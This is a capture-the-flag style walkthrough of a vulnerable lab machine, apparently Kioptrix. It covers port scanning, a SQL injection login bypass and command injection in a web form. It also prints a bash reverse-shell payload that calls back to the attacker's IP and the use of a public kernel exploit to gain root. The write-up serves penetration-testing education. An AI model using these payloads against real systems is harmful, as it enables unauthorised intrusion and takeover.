Enumeration
NMAP
First, I went ahead and launched a port scan against the target machine.
nmap -Pn -A -sV -p- $target
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 3.9p1 (protocol 1.99) |sshv1: Server supports SSHv1 80/tcp open http syn-ack ttl 64 Apache httpd 2.0.52 ((CentOS)) | http-methods: | Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.0.52 (CentOS) |http-title: Site doesn't have a title (text/html; charset=UTF-8). 111/tcp open rpcbind syn-ack ttl 64 2 (RPC #100000) | rpcinfo: | program version port/proto service | 100000 2 111/tcp rpcbind | 100000 2 111/udp rpcbind | 100024 1 615/udp status | 100024 1 618/tcp status 443/tcp open ssl/https? syn-ack ttl 64 | ssl-cert: Subject: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--/organizationalUnitName=SomeOrganizationalUnit/emailAddress=root@localhost.localdomain/localityName=SomeCity | Issuer: commonName=localhost.localdomain/organizationName=SomeOrganization/stateOrProvinceName=SomeState/countryName=--/organizationalUnitName=SomeOrganizationalUnit/emailAddress=root@localhost.localdomain/localityName=SomeCity 618/tcp open status syn-ack ttl 64 1 (RPC #100024) 631/tcp open ipp syn-ack ttl 64 CUPS 1.1 | http-methods: | Supported Methods: GET HEAD OPTIONS POST PUT |_ Potentially risky methods: PUT |_http-server-header: CUPS/1.1 |_http-title: 403 Forbidden 3306/tcp open mysql syn-ack ttl 64 MySQL (unauthorized) MAC Address: 00:0C:29:A3:ED:9F (VMware) Device type: general purpose Running: Linux 2.6.X OS CPE: cpe:/o:linux:linux_kernel:2.6 OS details: Linux 2.6.9 - 2.6.30
Fine tuned scan results
WEB - 80
/cgi-bin/ (Status: 403) [Size: 289] /cgi-bin/.html (Status: 403) [Size: 294] /index.php (Status: 200) [Size: 667] /index.php (Status: 200) [Size: 667] /manual (Status: 301) [Size: 315] /usage (Status: 403) [Size: 286]
/
/manual
Exploitation
Authentication Bypass
The web app was vulnerable to SQL Injection Authentication Bypass as shown below.
admin' or '1'='1'#
http://192.168.0.132/index.php
Command Injection
I noticed that the web app executed commands on the base system based on user input.
Thus, I decided to try and inject custom commands into this field to trigger the system to run it.
127.0.0.1 && whoami
As seen above, I was able to get command execution on the machine via the web portal. I then used this vulnerability to get a reverse shell back to my attack box as follows.
127.0.0.1 && bash -i >& /dev/tcp/192.168.0.108/443 0>&1
And it worked!
Privilege Escalation
Linpeas
While running linpeas, I noticed that the box was running a pretty old linux kernel version (2.6.9-55.EL).
Searchsploit
I then made my way to searchsploit to look for a kernel exploit that would fit this particular target.
searchsploit linux 2.6 centos
Linux Kernel 2.4.x/2.6.x (CentOS 4.8/5.3 / RHEL 4.8/5.3 / SuSE 10 SP2/11 / Ubuntu 8.10) (PPC) - 'sock_sendpage()' | linux/local/9545.c
This was the exploit I ended up going with this!
GCC
I then transferred the file over to the remote machine before compiling it with GCC. This was to ensure that the architecture matched the executable in the end.
gcc -o exploit 9545.c
However, I ran into the shown error. All C source files need a newline at the end of the file for compilation. I just had to add that before compiling again.
After fixing that, the exploit compiled with no issues.
Rooty
And I was the root user! 😁
-Nee